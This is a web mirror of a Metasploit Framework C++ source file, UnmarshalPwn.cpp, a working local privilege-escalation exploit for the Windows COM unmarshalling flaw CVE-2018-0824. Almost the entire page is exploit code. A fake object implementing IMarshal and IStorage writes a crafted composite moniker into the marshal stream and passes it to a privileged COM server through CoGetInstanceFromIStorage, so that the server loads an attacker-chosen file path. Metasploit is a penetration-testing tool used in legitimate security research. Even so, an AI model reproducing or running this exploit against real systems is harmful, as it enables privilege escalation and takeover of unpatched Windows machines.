CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2018-0824/UnmarshalPwn.cpp
Views: 11779
1
// UnmarshalPwn.cpp : Defines the entry point for the console application.
2
//
3
4
#include "stdafx.h"
5
#include <stdio.h>
6
#include <tchar.h>
7
#include <string>
8
#include <comdef.h>
9
#include <winternl.h>
10
#include <ole2.h>
11
#include <Shlwapi.h>
12
#include <strsafe.h>
13
#include <vector>
14
#include <stdlib.h>
15
16
#pragma comment(lib, "shlwapi.lib")
17
18
GUID marshalInterceptorGUID = { 0xecabafcb,0x7f19,0x11d2,{ 0x97,0x8e,0x00,0x00,0xf8,0x75,0x7e,0x2a } };
19
GUID compositeMonikerGUID = { 0x00000309,0x0000,0x0000,{ 0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 } };
20
UINT header[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
21
UINT monikers[] = { 0x02,0x00,0x00,0x00 };
22
GUID newMonikerGUID = { 0xecabafc6,0x7f19,0x11d2,{ 0x97,0x8e,0x00,0x00,0xf8,0x75,0x7e,0x2a } };
23
GUID random;
24
OLECHAR* randomString;
25
26
static bstr_t IIDToBSTR(REFIID riid)
27
{
28
LPOLESTR str;
29
bstr_t ret = "Unknown";
30
if (SUCCEEDED(StringFromIID(riid, &str)))
31
{
32
ret = str;
33
CoTaskMemFree(str);
34
}
35
return ret;
36
}
37
38
unsigned char const* GuidToByteArray(GUID const& g)
39
{
40
return reinterpret_cast<unsigned char const*>(&g);
41
}
42
43
class FakeObject : public IMarshal, public IStorage
44
{
45
LONG m_lRefCount;
46
IStoragePtr _stg;
47
wchar_t *pFilePath = NULL;
48
49
public:
50
//Constructor, Destructor
51
FakeObject(IStoragePtr storage, wchar_t *pValue) {
52
_stg = storage;
53
m_lRefCount = 1;
54
pFilePath = pValue;
55
}
56
57
~FakeObject() {};
58
59
//IUnknown
60
HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)
61
{
62
if (riid == __uuidof(IUnknown))
63
{
64
printf("Query for IUnknown\n");
65
*ppvObj = this;
66
}
67
else if (riid == __uuidof(IStorage))
68
{
69
printf("Query for IStorage\n");
70
*ppvObj = static_cast<IStorage*>(this);
71
}
72
else if (riid == __uuidof(IMarshal))
73
{
74
printf("Query for IMarshal\n");
75
*ppvObj = static_cast<IMarshal*>(this);
76
}
77
else
78
{
79
printf("Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
80
*ppvObj = NULL;
81
return E_NOINTERFACE;
82
}
83
84
((IUnknown*)*ppvObj)->AddRef();
85
return NOERROR;
86
}
87
88
ULONG __stdcall AddRef()
89
{
90
return InterlockedIncrement(&m_lRefCount);
91
}
92
93
ULONG __stdcall Release()
94
{
95
ULONG ulCount = InterlockedDecrement(&m_lRefCount);
96
97
if (0 == ulCount)
98
{
99
delete this;
100
}
101
102
return ulCount;
103
}
104
105
virtual HRESULT STDMETHODCALLTYPE CreateStream(
106
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName,
107
/* [in] */ DWORD grfMode,
108
/* [in] */ DWORD reserved1,
109
/* [in] */ DWORD reserved2,
110
/* [out] */ __RPC__deref_out_opt IStream **ppstm) {
111
printf("Call: CreateStream\n");
112
return _stg->CreateStream(pwcsName, grfMode, reserved1, reserved2, ppstm);
113
114
}
115
116
virtual /* [local] */ HRESULT STDMETHODCALLTYPE OpenStream(
117
/* [annotation][string][in] */
118
_In_z_ const OLECHAR *pwcsName,
119
/* [annotation][unique][in] */
120
_Reserved_ void *reserved1,
121
/* [in] */ DWORD grfMode,
122
/* [in] */ DWORD reserved2,
123
/* [annotation][out] */
124
_Outptr_ IStream **ppstm) {
125
printf("Call: OpenStream\n");
126
_stg->OpenStream(pwcsName, reserved1, grfMode, reserved2, ppstm);
127
return S_OK;
128
}
129
130
virtual HRESULT STDMETHODCALLTYPE CreateStorage(
131
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName,
132
/* [in] */ DWORD grfMode,
133
/* [in] */ DWORD reserved1,
134
/* [in] */ DWORD reserved2,
135
/* [out] */ __RPC__deref_out_opt IStorage **ppstg) {
136
printf("Call: CreateStorage\n");
137
_stg->CreateStorage(pwcsName, grfMode, reserved1, reserved2, ppstg);
138
return S_OK;
139
}
140
141
virtual HRESULT STDMETHODCALLTYPE OpenStorage(
142
/* [string][unique][in] */ __RPC__in_opt_string const OLECHAR *pwcsName,
143
/* [unique][in] */ __RPC__in_opt IStorage *pstgPriority,
144
/* [in] */ DWORD grfMode,
145
/* [unique][in] */ __RPC__deref_opt_in_opt SNB snbExclude,
146
/* [in] */ DWORD reserved,
147
/* [out] */ __RPC__deref_out_opt IStorage **ppstg) {
148
printf("Call: OpenStorage\n");
149
_stg->OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, ppstg);
150
return S_OK;
151
}
152
153
virtual /* [local] */ HRESULT STDMETHODCALLTYPE CopyTo(
154
/* [in] */ DWORD ciidExclude,
155
/* [annotation][size_is][unique][in] */
156
_In_reads_opt_(ciidExclude) const IID *rgiidExclude,
157
/* [annotation][unique][in] */
158
_In_opt_ SNB snbExclude,
159
/* [annotation][unique][in] */
160
_In_ IStorage *pstgDest) {
161
printf("Call: CopyTo\n");
162
_stg->CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest);
163
return S_OK;
164
}
165
166
virtual HRESULT STDMETHODCALLTYPE MoveElementTo(
167
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName,
168
/* [unique][in] */ __RPC__in_opt IStorage *pstgDest,
169
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsNewName,
170
/* [in] */ DWORD grfFlags) {
171
printf("Call: MoveElementTo\n");
172
_stg->MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags);
173
return S_OK;
174
}
175
176
virtual HRESULT STDMETHODCALLTYPE Commit(
177
/* [in] */ DWORD grfCommitFlags) {
178
printf("Call: Commit\n");
179
_stg->Commit(grfCommitFlags);
180
return S_OK;
181
}
182
183
virtual HRESULT STDMETHODCALLTYPE Revert(void) {
184
printf("Call: Revert\n");
185
return S_OK;
186
}
187
188
virtual /* [local] */ HRESULT STDMETHODCALLTYPE EnumElements(
189
/* [annotation][in] */
190
_Reserved_ DWORD reserved1,
191
/* [annotation][size_is][unique][in] */
192
_Reserved_ void *reserved2,
193
/* [annotation][in] */
194
_Reserved_ DWORD reserved3,
195
/* [annotation][out] */
196
_Outptr_ IEnumSTATSTG **ppenum) {
197
printf("Call: EnumElements\n");
198
_stg->EnumElements(reserved1, reserved2, reserved3, ppenum);
199
return S_OK;
200
}
201
202
virtual HRESULT STDMETHODCALLTYPE DestroyElement(
203
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName) {
204
printf("Call: DestroyElement\n");
205
_stg->DestroyElement(pwcsName);
206
return S_OK;
207
}
208
209
virtual HRESULT STDMETHODCALLTYPE RenameElement(
210
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsOldName,
211
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsNewName) {
212
printf("Call: RenameElement\n");
213
return S_OK;
214
215
};
216
217
virtual HRESULT STDMETHODCALLTYPE SetElementTimes(
218
/* [string][unique][in] */ __RPC__in_opt_string const OLECHAR *pwcsName,
219
/* [unique][in] */ __RPC__in_opt const FILETIME *pctime,
220
/* [unique][in] */ __RPC__in_opt const FILETIME *patime,
221
/* [unique][in] */ __RPC__in_opt const FILETIME *pmtime) {
222
printf("Call: SetElementTimes\n");
223
return S_OK;
224
}
225
226
virtual HRESULT STDMETHODCALLTYPE SetClass(
227
/* [in] */ __RPC__in REFCLSID clsid) {
228
printf("Call: SetClass\n");
229
return S_OK;
230
}
231
232
virtual HRESULT STDMETHODCALLTYPE SetStateBits(
233
/* [in] */ DWORD grfStateBits,
234
/* [in] */ DWORD grfMask) {
235
printf("Call: SetStateBits\n");
236
return S_OK;
237
}
238
239
virtual HRESULT STDMETHODCALLTYPE Stat(
240
/* [out] */ __RPC__out STATSTG *pstatstg,
241
/* [in] */ DWORD grfStatFlag) {
242
printf("Call: Stat\n");
243
HRESULT hr = 0;
244
size_t len = 0;
245
246
len = wcsnlen_s(randomString, MAX_PATH) + 1;
247
PWCHAR s = (PWCHAR)CoTaskMemAlloc(len * sizeof(WCHAR));
248
wcscpy_s(s, len, randomString);
249
pstatstg[0].pwcsName = s;
250
hr = _stg->Stat(pstatstg, grfStatFlag);
251
printf("End: Stat\n");
252
return S_OK;
253
}
254
255
virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
256
/* [annotation][in] */
257
_In_ REFIID riid,
258
/* [annotation][unique][in] */
259
_In_opt_ void *pv,
260
/* [annotation][in] */
261
_In_ DWORD dwDestContext,
262
/* [annotation][unique][in] */
263
_Reserved_ void *pvDestContext,
264
/* [annotation][in] */
265
_In_ DWORD mshlflags,
266
/* [annotation][out] */
267
_Out_ CLSID *pCid)
268
{
269
printf("Call: GetUnmarshalClass\n");
270
*pCid = marshalInterceptorGUID; // ECABAFCB-7F19-11D2-978E-0000F8757E2A
271
return S_OK;
272
}
273
274
virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
275
/* [annotation][in] */
276
_In_ REFIID riid,
277
/* [annotation][unique][in] */
278
_In_opt_ void *pv,
279
/* [annotation][in] */
280
_In_ DWORD dwDestContext,
281
/* [annotation][unique][in] */
282
_Reserved_ void *pvDestContext,
283
/* [annotation][in] */
284
_In_ DWORD mshlflags,
285
/* [annotation][out] */
286
_Out_ DWORD *pSize)
287
{
288
printf("Call: GetMarshalSizeMax\n");
289
*pSize = 1024;
290
return S_OK;
291
}
292
293
virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
294
/* [annotation][unique][in] */
295
_In_ IStream *pStm,
296
/* [annotation][in] */
297
_In_ REFIID riid,
298
/* [annotation][unique][in] */
299
_In_opt_ void *pv,
300
/* [annotation][in] */
301
_In_ DWORD dwDestContext,
302
/* [annotation][unique][in] */
303
_Reserved_ void *pvDestContext,
304
/* [annotation][in] */
305
_In_ DWORD mshlflags)
306
{
307
printf("Call: MarshalInterface\n");
308
ULONG written = 0;
309
HRESULT hr = 0;
310
pStm->Write(header, 12, &written);
311
pStm->Write(GuidToByteArray(marshalInterceptorGUID), 16, &written);
312
313
IMonikerPtr fileMoniker;
314
IMonikerPtr newMoniker;
315
IBindCtxPtr context;
316
317
pStm->Write(monikers, 4, &written);
318
pStm->Write(GuidToByteArray(compositeMonikerGUID), 16, &written);
319
pStm->Write(monikers, 4, &written);
320
hr = CreateBindCtx(0, &context);
321
hr = CreateFileMoniker(pFilePath, &fileMoniker);
322
hr = CoCreateInstance(newMonikerGUID, NULL, CLSCTX_ALL, IID_IUnknown, (LPVOID*)&newMoniker);
323
hr = OleSaveToStream(fileMoniker, pStm);
324
hr = OleSaveToStream(newMoniker, pStm);
325
return S_OK;
326
}
327
328
virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface(
329
/* [annotation][unique][in] */
330
_In_ IStream *pStm,
331
/* [annotation][in] */
332
_In_ REFIID riid,
333
/* [annotation][out] */
334
_Outptr_ void **ppv)
335
{
336
printf("Call: UnmarshalInterface\n");
337
return E_NOTIMPL;
338
}
339
340
virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData(
341
/* [annotation][unique][in] */
342
_In_ IStream *pStm)
343
{
344
printf("Call: ReleaseMarshalData\n");
345
return S_OK;
346
}
347
348
virtual HRESULT STDMETHODCALLTYPE DisconnectObject(
349
/* [annotation][in] */
350
_In_ DWORD dwReserved)
351
{
352
printf("Call: DisconnectObject\n");
353
return S_OK;
354
}
355
};
356
357
static HRESULT Check(HRESULT hr)
358
{
359
if (FAILED(hr))
360
{
361
throw _com_error(hr);
362
}
363
return hr;
364
}
365
366
void Exploit(wchar_t *pValue)
367
{
368
HRESULT hr = 0;
369
IStoragePtr storage = nullptr;
370
MULTI_QI* qi = new MULTI_QI[1];
371
372
GUID target_GUID = { 0x7d096c5f,0xac08,0x4f1f,{ 0xbe,0xb7,0x5c,0x22,0xc5,0x17,0xce,0x39 } };
373
hr = CoCreateGuid(&random);
374
375
StringFromCLSID(random, &randomString);
376
StgCreateDocfile(randomString, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &storage);
377
378
IStoragePtr pFake = new FakeObject(storage, pValue);
379
380
qi[0].pIID = &IID_IUnknown;
381
qi[0].pItf = NULL;
382
qi[0].hr = 0;
383
384
CoGetInstanceFromIStorage(NULL, &target_GUID, NULL, CLSCTX_LOCAL_SERVER, pFake, 1, qi);
385
386
}
387
388
class CoInit
389
{
390
public:
391
CoInit()
392
{
393
Check(CoInitialize(nullptr));
394
Check(CoInitializeSecurity(nullptr, -1, nullptr, nullptr, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, NULL, nullptr));
395
}
396
397
~CoInit()
398
{
399
CoUninitialize();
400
}
401
};
402
403
404
int wmain(int argc, wchar_t** argv)
405
{
406
try
407
{
408
CoInit ci;
409
410
Exploit(argv[1]);
411
412
}
413
catch (const _com_error& err)
414
{
415
printf("Error: %ls\n", err.ErrorMessage());
416
}
417
418
return 0;
419
}
420
421